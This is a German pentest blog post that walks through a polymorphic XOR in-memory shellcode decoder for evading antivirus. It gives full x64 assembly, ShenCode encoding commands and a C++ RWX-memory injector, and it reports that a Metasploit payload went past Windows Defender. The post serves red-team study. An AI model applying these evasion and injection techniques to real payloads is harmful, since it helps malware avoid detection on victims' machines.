Diese Seite ist nicht editierbar. Sie können den Quelltext sehen, jedoch nicht verändern. Kontaktieren Sie den Administrator, wenn Sie glauben, dass hier ein Fehler vorliegt. {{tag>IT-Security Windows Kali pentest obfuscation blog deutsch}} ====== Obfuscation: polymorpher In-Memory Decoder ====== {{:it-security:blog:2024-250_xor_in-memory_decoder.webp?400|}} Red-Teaming und Penetration Tests erfordern häufig das Umgehen von Virenscannern, um wirksam Sicherheitslücken aufdecken zu können. [[it-security:blog:obfuscation_shellcode_als_uuids_tarnen|Im letzten Teil]] haben wir uns mit der Tarnung von Shellcode als UUID im Quellcode befasst. Dies hat auch gut funktioniert, jedoch wurde der Shellcode im Speicher erkannt und blockiert. Das wollen wir nun mit einem polymorphen In-Memory Decoder lösen: Ein Shellcode, der Shellcode entschlüsselt. ===== XOR-Decoder ===== Den XOR-Decoder habe ich von [[https://www.doyler.net/security-not-included/shellcode-xor-encoder-decoder|doyler.net]] übernommen und an die x64-Architektur angepasst. Dies war recht simpel, da nur die entsprechenden Register umbenannt werden mussten. Der Decoder startet mit dieser Anweisung: <code asm> _start: jmp short call_decoder ; Begin of JMP-CALL-POP </code> ''%%JMP-CALL-POP%%'' ist eine Technik, welche uns erlaubt Code unabhängig vom Speicher auszuführen. In diesem ersten Schritt springen wir nun zur Sprungmarke ''%%call_decoder%%'' <code asm> call_decoder: call decoder ; RSP points to the next instruction (the shellcode) ; The encoded shellcode Shellcode: db 0x6a,0x77,0xb6... </code> Hier sehen wir, dass über die ''%%CALL%%''-Anweisung direkt ein anderer Teil des Programms aufgerufen wird. Sobald dies geschieht, speichert das Register ''%%RSP%%'' den Pointer zum nächsten Befehl (in unserem Fall der Shellcode) auf dem Stack. <code asm> decoder: pop rsi ; Move pointer to encoded shellcode into RSI from the stack </code> Im aufgerufenem Programmteil sichern wir uns den Pointer vom Stack in das Register ''%%RSI%%'' und wissen wo unser Shellcode nun im Speicher zu adressieren ist. Jetzt geht es weiter zur eigentlichen Entschlüsselungs-Routine: <code asm> decode: xor byte [rsi], 0x3F ; The byte RSI points to, will be XORed by 0x3F jz Shellcode ; jump out of the loop if 0: RSI xor 0x3F = 0 inc rsi ; increment RSI to decode the next byte jmp short decode ; loop until each byte was decoded </code> ''%%xor byte [rsi], 0x3F%%'' dekodiert nun das Byte, welches durch ''%%RSI%%'' adressiert wird. In diesem Fall ist dies das erste Byte des Shellcodes. Der Schlüssel zum Dekodieren ist ''%%0x3F%%'' und kann entsprechend der ursprünglichen Kodierung geändert werden. ''%%jz Shellcode%%'' prüft nun, ob das dekodierte Byte ''%%0x00%%'' entspricht. ==== $Byte \neq 0$ ==== Ist das Ergebnis negativ, springt der Code zur nächsten Anweisung: ''%%inc rsi%%'' ''%%RSI%%'' wird erhöht und zeigt somit auf das nächste Byte im Shellcode, welches beim nächsten Durchlauf dekodiert wird. ''%%jmp short decode%%'' springt zurück zum Anfang der Funktion. ==== $Byte = 0$ ==== Ist das Ergebnis positiv, wird die Schleife unterbrochen und der Shellcode ausgeführt. Hier ist es wichtig den Schlüssel an den Shellcode anzuhängen, denn: ''%%0x3F XOR 0x3F = 0x00%%'' Dies markiert das Ende des Shellcodes und unterbricht die Schleife. Somit benötigen wir keinen zusätzlichen Zähler. ''%%jz Shellcode%%'' springt nun direkt in unseren dekodierten Shellcode und führt diesen aus. ===== calc.exe Payload ===== Wir wollen das ''%%calc.exe%%'' Payload aus [[it-security:blog:shellcode_injection-4|diesem Blogpost]] verwenden. Dieser enthält aber noch 0-Bytes, welche die Dekodierung verhindern. Warum ist das so? Ein Beispiel: <code> # Encoding XOR Key: 0x3F Byte: 0x00 0x00 XOR 0x3F = 0x3F # Decoding XOR Key: 0x3F Byte: 0x3F 0x3F XOR 0x3F = 0x00 </code> Ein 0-Byte würde somit den Enkodierungsvorgang frühzeitig abbrechen, da ''%%jz Shellcode%%'' dies als Signal zum beenden ansehen würde. Somit müssen wir noch ein paar Modifizierungen vornehmen. ==== GS Register ==== Der Fix für das GS Register aus dem vorigen Beitrag beseitigt nur $2/3$ 0-Bytes. Für die vorigen Tests war dies ausreichend. Eine kleine Änderung bringt uns hier ans Ziel: <code asm [enable_line_numbers="true",start_line_numbers_at="26"]> xor rax, rax mov al, 60h mov rax, gs:[rax] ; 65 48 8b 00 </code> ändern in: <code asm [enable_line_numbers="true",start_line_numbers_at="26"]> xor rax, rax mov rax, gs:[rax+0x60] ; 65 48 8b 40 60 </code> Dies verkleinert auch gleich unseren Shellcode ein wenig. ==== Kernel32-Base ==== Bei der Suche nach ''%%Kernel32Base%%'' benutzen wir nur das Register ''%%RAX%%'' ohne Berechnung. Auch dies führt zu einem 0-Byte. Hier können wir jedoch das Register ''%%RBX%%'' zur Hilfe nehmen und so die 0-Bytes vermeiden. <code asm [enable_line_numbers="true",start_line_numbers_at="30"]> mov rax, [rax] ; 48 8b 00 mov rax, [rax] ; 48 8b 00 </code> ändern in: <code asm [enable_line_numbers="true",start_line_numbers_at="30"]> mov rbx, [rax] ; 48 8b 18 mov rax, [rbx] ; 48 8b 03 </code> ==== JMP SHORT ==== <code asm [enable_line_numbers="true",start_line_numbers_at="76"]> jmp short InvokeWinExec ; eb 00 </code> Hier springt der Code zur nächsten Anweisung. Da der Code dies auch ohne ''%%JMP%%'' macht, können wir die Zeile auskommentieren. ==== Kompilieren ==== Den Code können wir kompilieren und erhalten einen sauberen Op-Code. <code batch> nasm -f win64 calc.asm -o calc.o </code> ===== XOR-Decoder Stub ===== ==== calc.exe Payload aufbereiten ==== Den Op-Code müssen wir nun noch etwas bearbeiten, um ihn im Decoder nutzen zu können. Hierzu nutze ich mein ShellCode-Tool [[https://github.com/psycore8/shencode|ShenCode]]: <code python> python shencode.py extract -i calc.o -o calc.raw -fb 60 -lb 311 ... python shencode.py xorenc -f calc.raw -o calc.xor -k 63 ... python shencode.py formatout -i calc.xor -s cs [*] processing shellcode format... 0x6a,0x77,0xb6, ... 0x07,0x77,0xbc,0xfb,0x27,0x77,0xbc,0xfb,0x37,0x62 [+] DONE! </code> Schritt für Schritt: - Wir extrahieren den eigentlichen Shellcode aus der Datei ''%%calc.o%%'' und speichern diesen in ''%%calc.raw%%'' (von Offset ''%%60%%'' bis ''%%311%%'') - Wir enkodieren den extrahierten Code mit dem Schlüssel ''%%63%%'' und speichern das Ergebnis in ''%%calc.xor%%'', ''%%63%%'' dezimal entspricht ''%%3F%%'' Hexadezimal - Wir lassen uns den enkodierten Shellcode im C# Format ausgeben (welches wir auch für Assembler nutzen können) Die Ausgabe sichern wir uns, entfernen die Zeilenumbrüche und hängen unser "Magic-Byte" ''%%0x3F%%'' ans Ende an. ==== XOR-Decoder und Payload ==== Jetzt können wir unsere Payload zum XOR-Decoder hinzufügen. Hierzu kopieren wir den vorher aufbereiteten Code in die letzte Anweisung des XOR-Decoders: <code asm> ; The encoded shellcode Shellcode: db 0x6a,0x77,0xb6,...0x37,0x62,0x3f </code> Zusätzlich kontrollieren wir, ob der XOR-Key passt: <code asm> decode: xor byte [rsi], 0x3F </code> Wenn alles richtig ist, kompilieren wir unseren Decoder: <code batch> nasm -f win64 xor-decoder.asm -o xor-decoder.o </code> Anschließend suchen wir nach den Shellcode-Offsets, extrahieren unseren Code und bereiten diesen für unsere ''%%Inject.cpp%%'' vor: <code python> python shencode.py formatout -i xor-decoder.o -s inspect 0x00000048: 00 00 00 00 00 00 00 00 0x00000056: 20 00 50 60 eb 0b 5e 80 Offset=60 0x00000064: 36 3f 74 0a 48 ff c6 eb ... 0x00000320: bc fb 27 77 bc fb 37 62 0x00000328: 3f 2e 66 69 6c 65 00 00 Offset=329 0x00000336: 00 00 00 00 00 fe ff 00 python shencode.py extract -i xor-decoder.o -o xor-decoder.stub -fb 60 -lb 329 [*] try to open file [+] reading xor-decoder.o successful! [*] cutting shellcode from 60 to 329 [+] written shellcode to xor-decoder.stub [+] DONE! python shencode.py formatout -i xor-decoder.stub -s c [*] processing shellcode format... "\xeb\x0b\x5e...\x37\x62\x3f""; [+] DONE! </code> ===== Inject.cpp ===== Die eben aufbereiteten Bytes können wir nun in unser Injector Programm einfügen und auch dieses kompilieren. <code cpp> #include <stdio.h> #include <windows.h> #include <iostream> #pragma warning unsigned char payload[] = "\xeb\x0b\x5e...\x37\x62\x3f"; int main() { size_t byteArrayLength = sizeof(payload); std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; void* (*memcpyPtr) (void*, const void*, size_t); void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpyPtr = &memcpy; memcpyPtr(exec, payload, byteArrayLength); ((void(*)())exec)(); return 0; } </code> ===== Debug ===== Zum testen habe ich einen Debugger gestartet und navigiere nun zum Speicherbereich des XOR-Decoders. Während des Debugs kann man Schritt-für-Schritt sehen, wie die Anweisungen im unteren Bereich entschlüsselt werden. Ersichtlich wird dies an den Bildern, unterhalb der ''%%call%%'' Anweisung (was ''%%Shellcode: db ...%%'' entspricht). {{:it-security:blog:2024-250_xor_in-memory_decoder.png?600|}} {{:it-security:blog:2024-250_xor_in-memory_decoder_1.png?600|}} {{:it-security:blog:2024-250_xor_in-memory_decoder_2.png?600|}} {{:it-security:blog:2024-250-animation.gif|}} Die Animation zeigt oben den Durchlauf der Dekodierungs-Schleife, während der Shellcode im unteren Bereich schrittweise dekodiert wird. ===== Test mit einem Metasploit Payload ===== Das Ganze funktioniert auch mit einem Metasploit Payload: {{:it-security:blog:2024-250_xor_in-memory_decoder_3.png?700|}} ===== Fazit ===== Um den Prozess zu vereinfachen, habe ich den XOR-Stub als Template in [[https://github.com/psycore8/shencode|ShenCode]] integriert. Mit zwei Befehlen generieren wir hiermit einen XOR In-Memory Decoder: <code python> python shencode.py xorencode -i input.raw -o xor.out --key 63 python shencode.py xorpoly -i xor.out -o stub.raw --key 63 </code> Der XOR-Decoder stellt einen wirksamen Speicherschutz dar. In Verbindung mit anderen Obfuscation Techniken, kann dies ein guter Helfer für Penetration Tests sein. Während meines Tests wurde selbst das Metasploit Payload nicht vom Windows Defender erkannt. ~~DISCUSSION~~